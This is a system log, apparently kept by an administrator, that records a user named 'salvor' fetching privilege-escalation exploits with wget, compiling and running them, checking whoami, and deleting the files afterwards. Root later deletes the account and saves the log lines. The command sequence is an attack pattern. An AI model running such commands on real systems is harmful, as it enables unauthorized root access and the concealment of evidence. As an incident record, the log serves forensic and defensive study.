Aug 19 05:37:43 dragon bash[21604]: [salvor] wget http://packetstormsecurity.org/0203-exploits/ptrace-dark.c
Aug 19 05:38:30 dragon bash[21604]: [salvor] wget http://packetstormsecurity.org/0209-exploits/nslconf.c
Aug 19 05:38:49 dragon bash[21604]: [salvor] wget http://packetstorm.linuxsecurity.com/0209-exploits/nslconf.c
Aug 19 05:38:55 dragon bash[21604]: [salvor] gcc -o ns nslconf.c 
Aug 19 05:38:58 dragon bash[21604]: [salvor] ./ns
Aug 19 05:39:05 dragon bash[21604]: [salvor] whoami
Aug 19 05:39:09 dragon bash[21604]: [salvor] rm ns
Aug 19 05:39:11 dragon bash[21604]: [salvor] rm nslconf.c 
Aug 19 05:39:24 dragon bash[21604]: [salvor] wget http://packetstorm.linuxsecurity.com/0209-exploits/ptrace-dark.c
Aug 19 05:39:49 dragon bash[21604]: [salvor] wget http://packetstorm.linuxsecurity.com/0203-exploits/ptrace-dark.c
Aug 19 05:39:54 dragon bash[21604]: [salvor] gcc -o pt ptrace-dark.c 
Aug 19 05:39:57 dragon bash[21604]: [salvor] ./pt
Aug 19 05:39:57 dragon bash[21715]: interactive shell started by username: salvor UID: 565 EUID: 565 GID: 504 EGID: 504
Aug 19 05:39:58 dragon bash[21715]: [salvor] exec ./pt 21716
Aug 19 05:40:05 dragon bash[21604]: [salvor] whoami
Aug 19 05:40:08 dragon bash[21604]: [salvor] ls -a
Aug 19 05:40:15 dragon bash[21604]: [salvor] ls -l
Aug 19 05:40:22 dragon bash[21604]: [salvor] rm ptrace-dark.c 
Aug 19 05:40:32 dragon bash[21604]: [salvor] rm -rf *.eng
Aug 19 05:40:34 dragon bash[21604]: [salvor] clear
Aug 19 05:40:34 dragon bash[21604]: [salvor] w
Aug 19 05:42:29 dragon bash[21604]: [salvor] wget http://packetstormsecurity.org/linux/modules/fuckptrace.c
Aug 19 05:42:46 dragon bash[21604]: [salvor] wget http://packetstorm.linuxsecurity.com/linux/modules/fuckptrace.c
Aug 19 05:42:52 dragon bash[21604]: [salvor] gcc -o fuck fuckptrace.c 
Aug 19 05:42:56 dragon bash[21604]: [salvor] ./fuck
Aug 19 05:42:58 dragon bash[21604]: [salvor] ls
Aug 19 05:43:01 dragon bash[21604]: [salvor] rm fuckptrace.c 
Aug 19 05:43:05 dragon bash[21604]: [salvor] rm std.c 
Aug 19 05:43:07 dragon bash[21604]: [salvor] rm pt
Aug 19 05:43:09 dragon bash[21604]: [salvor] clear
Aug 19 05:43:10 dragon bash[21604]: [salvor] ls -a
Aug 19 05:43:13 dragon bash[21604]: [salvor] cd ..
Aug 19 05:43:13 dragon bash[21604]: [salvor] ls
Aug 19 05:43:16 dragon bash[21604]: [salvor] ls
Aug 19 05:43:21 dragon bash[21604]: [salvor] exit
Aug 19 05:43:23 dragon sshd(pam_unix)[21603]: session closed for user salvor
Aug 19 15:03:05 dragon bash[1661]: [root] cd salvor/
Aug 22 18:34:27 dragon bash[2243]: [root] passwd salvor
Aug 22 18:34:35 dragon bash[2243]: [root] cd /home/salvor/
Aug 22 18:36:45 dragon bash[2243]: [root] grep salvor /var/log/messages
Aug 22 18:37:22 dragon bash[2243]: [root] cd /home/salvor/
Aug 22 18:37:32 dragon bash[2243]: [root] userdel -r salvor
Aug 22 18:37:53 dragon bash[2243]: [root] grep salvor /var/log/messages > SALVOR-LAMMER